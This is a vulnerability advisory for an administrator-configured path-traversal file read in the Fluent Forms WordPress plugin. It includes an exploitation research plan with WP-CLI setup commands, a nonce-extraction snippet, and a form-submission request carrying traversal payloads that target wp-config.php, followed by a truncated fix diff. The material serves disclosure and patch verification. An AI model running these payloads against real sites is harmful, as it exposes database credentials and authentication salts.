Fluent Forms <= 6.2.1 - Authenticated (Administrator+) Arbitrary File Read via Path Traversal in Email Attachment
Description
The Fluent Forms plugin for WordPress is vulnerable to Arbitrary File Read in versions up to and including 6.2.1. This is due to insufficient path validation in the getAttachments() method of EmailNotificationActions, which resolves attacker-supplied file-upload URLs into filesystem paths without verifying that the resolved path stays inside the WordPress uploads directory: a strpos() prefix check on the raw URL can be bypassed with traversal sequences, wp_normalize_path() does not resolve ".\..\" segments, and file_exists() then resolves them at the kernel level. This makes it possible for authenticated attackers with administrator access to read arbitrary files readable by the web-server user — including wp-config.php with its database credentials and authentication salts — by submitting a form whose admin notification is configured to attach a file-upload field and supplying a crafted URL of the shape <upload_baseurl>/../../<target> as the file-field value. The resolved file is attached to the outbound admin-notification email via wp_mail(). While the email can be triggered by unauthenticated users, the email recipient is not user-controlled.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v6.2.2
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-6344 ## 1. Vulnerability Summary The **Fluent Forms** plugin (versions <= 6.2.1) contains an arbitrary file read vulnerability. The vulnerability exists in the `getAttachments()` method of the `EmailNotificationActions` class. When a form is configured to att…
Show full research plan
Exploitation Research Plan - CVE-2026-6344
1. Vulnerability Summary
The Fluent Forms plugin (versions <= 6.2.1) contains an arbitrary file read vulnerability. The vulnerability exists in the getAttachments() method of the EmailNotificationActions class. When a form is configured to attach files from a "File Upload" field to an email notification, the plugin resolves the user-supplied URL for that field into a local filesystem path.
Because the plugin uses a weak strpos() check to ensure the URL belongs to the uploads directory and fails to properly resolve traversal sequences (like ../) before the path is passed to file_exists() and subsequently wp_mail(), an attacker (specifically an Administrator who can configure form notifications) can specify a crafted URL that resolves to any file readable by the web server (e.g., wp-config.php).
2. Attack Vector Analysis
- Endpoint:
POST /wp-json/fluentform/v1/form-submit(Submission Handler) - Alternative Endpoint:
admin-ajax.php?action=fluentform_submit(depending on configuration) - Vulnerable Parameter: The field name corresponding to the "File Upload" component (e.g.,
file_upload). - Authentication:
- Setup: Authenticated (Administrator or user with
fluentform_forms_managercapability) is required to configure the form notifications to include attachments. - Trigger: Unauthenticated (once the form is configured, any user submitting the form can trigger the attachment logic).
- Setup: Authenticated (Administrator or user with
- Preconditions:
- A form must exist with a "File Upload" field.
- An Email Notification must be enabled for that form.
- The notification must be configured to include the "File Upload" field as an attachment.
3. Code Flow
- Submission: A user submits a form via
SubmissionHandlerController@submit. - Notification Trigger: The plugin processes the submission and triggers defined actions, including
EmailNotificationActions. - Attachment Processing:
EmailNotificationActions::getAttachments()iterates through configured attachments. - URL to Path Resolution (The Sink):
- It retrieves the value of the file upload field (a URL).
- It checks if the URL starts with the Fluent Forms upload base URL using
strpos($url, $upload_url) === 0. - If it matches, it replaces the URL base with the absolute filesystem path:
$path = str_replace($upload_url, $upload_path, $url). - Traversal: If the URL is
https://site.com/wp-content/uploads/fluentform/../../wp-config.php, the prefix check passes, and the resulting path becomes/var/www/html/wp-content/uploads/fluentform/../../wp-config.php.
- Exfiltration: The resolved path is added to the
$attachmentsarray and passed towp_mail(), which reads the file and attaches it to the outbound email.
4. Nonce Acquisition Strategy
The form submission endpoint requires a nonce for security verification, typically localized in the fluent_forms_global_var object.
- Identify Form Page: Find a page where the target Fluent Form is embedded (or create one using
[fluentform id='FORM_ID']). - Browser Navigation: Use
browser_navigateto load the page. - Nonce Extraction:
// Use browser_eval to extract the nonce const nonce = window.fluent_forms_global_var?.fluent_forms_admin_nonce || window.fluent_forms_global_var?.nonce; - Action String: The nonce is usually generated for the action
fluent_forms_admin_nonceor similar, depending on the version.
5. Exploitation Strategy
Step 1: Admin Setup (Form Configuration)
Use WP-CLI to create a form and configure the notification to ensure the environment is ready.
- Create a Form:
wp eval " \$form_id = (new FluentForm\App\Models\Form)->insertGetId([ 'title' => 'Exploit Form', 'form_fields' => json_encode([ 'fields' => [ [ 'element' => 'input_file', 'attributes' => ['name' => 'exploit_file', 'type' => 'file'], 'settings' => ['label' => 'File', 'admin_field_label' => 'exploit_file'] ] ] ]) ]); echo \$form_id; " - Configure Notification:
Enable an email notification that attaches theexploit_filefield.wp eval " \$notification = [ [ 'name' => 'Admin Notification', 'enabled' => true, 'sendTo' => ['type' => 'email', 'email' => '{wp.admin_email}'], 'subject' => 'File Read Exploit', 'message' => '{all_data}', 'attachments' => ['exploit_file'] ] ]; FluentForm\App\Helpers\Helper::setFormMeta(FORM_ID_HERE, 'notifications', \$notification); "
Step 2: Trigger Exploit (Submission)
Submit the form with the traversal URL. We need to determine the base upload URL first.
- Determine Upload URL:
Usuallyhttp://<domain>/wp-content/uploads/fluentform. - Send Submission Request:
Note: The field value might need to be an array or a specific JSON string depending on how the plugin stores multi-file uploads.POST /wp-json/fluentform/v1/form-submit Content-Type: application/x-www-form-urlencoded form_id=FORM_ID_HERE& _fluent_form_nonce=EXTRACTED_NONCE& exploit_file[]=http://localhost/wp-content/uploads/fluentform/../../../../wp-config.php
Step 3: Verification
Since the file is attached to an email, check the WordPress mail log or intercept wp_mail.
- Check Mail Log: Use
wp-clito check for any generated mail if a logging plugin is installed (e.g.,wp mail-logging list). - Alternative: Check the
fluentform_submission_metaor logs to see if the attachment was processed.
6. Test Data Setup
- Target File: Ensure
wp-config.phpexists (standard). - Shortcode Page: Create a page to extract the nonce.
wp post create --post_type=page --post_title="Contact" --post_status=publish --post_content="[fluentform id='1']" - SMTP: Configure a dummy SMTP or mail catcher (like MailHog) in the test environment to receive the attachment.
7. Expected Results
- The
form-submitrequest returns a200 OKor302success message. - The server's mailer (e.g.,
wp_mail) is called with an attachment path pointing to/var/www/html/wp-config.php. - The received email contains
wp-config.phpas an attachment.
8. Verification Steps
- Intercept
wp_mail:
If no mail catcher is available, use WP-CLI to check the submission status:wp db query "SELECT * FROM wp_fluentform_submissions ORDER BY id DESC LIMIT 1;" - Review Submission Meta:
wp db query "SELECT * FROM wp_fluentform_submission_meta WHERE meta_key = 'exploit_file';"
9. Alternative Approaches
- Bypassing Prefix Check: If
strposis strict, try using different protocol wrappers or port numbers if the plugin fails to normalize the host. - Local Path Injection: If the plugin accepts local paths directly in certain contexts (though unlikely here), try bypassing the URL check entirely by providing a path instead of a URL.
- Encoded Traversal: Try
.\..\sequences as mentioned in the vulnerability description to bypasswp_normalize_path().- Payload:
http://localhost/wp-content/uploads/fluentform/.\..\.\..\.\..\wp-config.php
- Payload:
Summary
The Fluent Forms plugin for WordPress is vulnerable to an arbitrary file read due to improper path validation in its email attachment logic. An administrator can configure a form to include user-supplied 'file upload' values as email attachments; because the plugin fails to properly resolve traversal sequences (like ../ or .\..\) before mapping URLs to filesystem paths, an attacker can exfiltrate sensitive files such as wp-config.php by submitting a crafted URL in a form submission.
Security Fix
@@ -1027,10 +1027,19 @@ if (ArrayHelper::isTrue($rawField, 'attributes.multiple')) { $fieldType = 'multi_select'; } - $options = array_column( - ArrayHelper::get($rawField, 'settings.advanced_options', []), - 'value' - ); + $formattedOptions = ArrayHelper::get($rawField, 'settings.advanced_options', []); + if (!$formattedOptions) { + $formattedOptions = []; + foreach (ArrayHelper::get($rawField, 'options', []) as $value => $label) { + $formattedOptions[] = [ + 'label' => $label, + 'value' => $value, + ]; + } + // @todo : Update all reference in form templates + } + + $options = array_column($formattedOptions, 'value'); // Add field-specific __ff_other__ to options if "Other" option is enabled if (in_array($fieldType, ['input_checkbox', 'input_radio']) && Only in /home/deploy/wp-safety.org/data/plugin-versions/fluentform/6.2.2/app/Http/Policies: GlobalIntegrationPolicy.php @@ -93,15 +93,15 @@ /* * Global Integrations */ -$router->prefix('integrations')->withPolicy('FormPolicy')->group(function ($router) { - $router->get('/', 'GlobalIntegrationController@index'); - $router->post('/', 'GlobalIntegrationController@updateIntegration'); - $router->post('update-status', 'GlobalIntegrationController@updateModuleStatus'); +$router->prefix('integrations')->group(function ($router) { + $router->get('/', 'GlobalIntegrationController@index')->withPolicy('GlobalIntegrationPolicy'); + $router->post('/', 'GlobalIntegrationController@updateIntegration')->withPolicy('GlobalIntegrationPolicy'); + $router->post('update-status', 'GlobalIntegrationController@updateModuleStatus')->withPolicy('GlobalIntegrationPolicy'); /* * Form Integrations */ - $router->prefix('{form_id}')->group(function ($router) { + $router->prefix('{form_id}')->withPolicy('FormPolicy')->group(function ($router) { $router->get('/form-integrations', 'FormIntegrationController@index'); $router->get('/', 'FormIntegrationController@find'); $router->post('/', 'FormIntegrationController@update'); ... (truncated)
Exploit Outline
The exploit requires an attacker with Administrator or 'fluentform_forms_manager' privileges to configure the vulnerability, though the final trigger can be unauthenticated. 1. **Configuration**: An attacker creates a form with a 'File Upload' field and enables an Email Notification. 2. **Attachment Setup**: In the notification settings, the attacker configures the plugin to attach the contents of the 'File Upload' field to the outgoing email. 3. **Payload Construction**: The attacker identifies the legitimate base upload URL (e.g., `wp-content/uploads/fluentform/`) and appends traversal sequences such as `../../wp-config.php` or `.\..\.\..\wp-config.php` to bypass basic prefix checks and sanitization like `wp_normalize_path()`. 4. **Triggering**: Any user (including an unauthenticated one) submits the form, providing the crafted URL as the value for the file upload field. 5. **Exfiltration**: The server-side code resolves the URL to a local path on the disk, verifies the file exists, and attaches it to the notification email sent by `wp_mail()`, allowing the attacker to receive sensitive files.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.